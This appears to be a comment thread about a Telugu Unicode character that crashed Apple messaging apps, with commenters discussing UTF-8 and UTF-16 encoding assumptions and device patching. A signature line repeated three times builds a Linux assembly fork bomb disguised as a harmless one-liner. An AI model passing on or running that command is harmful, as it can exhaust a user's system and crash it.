Mac and iOS Bug Crashes Apps With a Single Indian-Language Character (mashable.com)
A lone Indian-language character is crashing a number of messaging apps on iOS, users are reporting. The problem also extends to the Apple Watch and even Macs, all of which struggle to process the character specific to the Telugu language spoken in India.
And with all those Telugu-speaking programmers on staff too ... huh.
Right on the heels of the article and discussion of plaintext vs. rich text vs. whateverthefuck Google is about to unleash on email comes this screwup.
I say it's high time that any and all text-ish messaging systems require just plain ASCII characters and if people insist on using alternative alphabets they dang well should be required to paste them in as images, not Unicode 84E0DDC2834A or however big the field is these days.
https://app.box.com/WitthoftResume Code: https://github.com/cellocgw
Solved 30 years ago? try 2017...
Quo usque tandem abutere, Nimbus, patientia nostra?
What programmers may already know how to do, and what managers allow them to spend time doing are two different things.
Don't blame programmers when management is an adequate explanation for the problem. Managers are the cause of most problems in the world. They know this, and so they try to CYA on everything. It is because of their managers. It's managers all the way down, until you get into the infernal nether regions.
And, they have the value hierarchy inverted. The "higher" up the org chart you go, the lower you are actually going down the value hierarchy.
I'll see your senator, and I'll raise you two judges.
Now, these kids today...one character.
POOF!
Note that this character was developed by the Indian military industry in a project with similar goals as the "Killer Joke": https://en.wikipedia.org/wiki/...
The intent is that people reading the character die.
Joke warfare is officially banned by the Geneva Convention, but India's archenemy Pakistan has been working on their own form of joke warfare involving a schoolgirl and a Nobel Peace Prize, and India felt threatened.
Schroedinger's Brexit: The UK is both in and out of the EU at the same time!
A lot of embedded systems will behave strangely if you feed them a lot of characters like this
https://en.wiktionary.org/wiki...
http://www.unicode.org/cgi-bin...
That character is four bytes in UTF-8 which kills systems that assume a maximum of three - which used to be true for Chinese and Japanese, but isn't now.
It's also two UTF-16 code points, which will mess up systems that assume each character is a single code point.
Now you'll say "Those systems are all buggy". That's true now, but it wasn't true when a lot of them were designed - Unicode used to be limited to 64K characters which meant it was a fixed width encoding for UCS-2. And that three bytes was the maximum encoding for UTF-8.
When it grew those ceased to be true. Which is fine for systems that are maintained - the vendor would find bugs created by the standard change and push an update. Unfortunately a lot of systems - particularly embedded ones - aren't like that. Hell, Android isn't like that. Google push updates out to vendors but if your machine is EOL you're SOL.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Android sucks for patching because it's all up to the vendors who don't care about old machines - they want you to buy a new device.
However Apple sucks too - they force everyone to the latest version to get patches, and that version may run so slowly that you need to buy a new device.
Actually Google have a clever idea called Project Treble to solve the update problem
https://android-developers.goo...
The idea is that there's a stable vendor interface to the low level parts so the stuff above that can be swapped out. Bad news is that it will only be in Android O and later. So it won't do anything to fix all the ageing Android devices out there as they slip out of vendor's support window.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Unicode is broken, and most Unicode apps are even more broken.
It's time we replaced Unicode. Make 32 bits the only encoding. Ditch all combinational characters. Separate out all merged languages. Create some solid libraries to handle it an convert UTF8/16.
With Unicode you can't even reliably tell how long a string is. Most software that claims to support it is buggy as hell. Programmers can't be expected to become language experts.
const int one = 65536; (Silvermoon, Texture.cs)
SJW, n: "Someone I don't like, and by the way I'm a fuckwit" - AC
We all need to adopt the Mojibake standard for non ASCII characters, like Slashdot.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;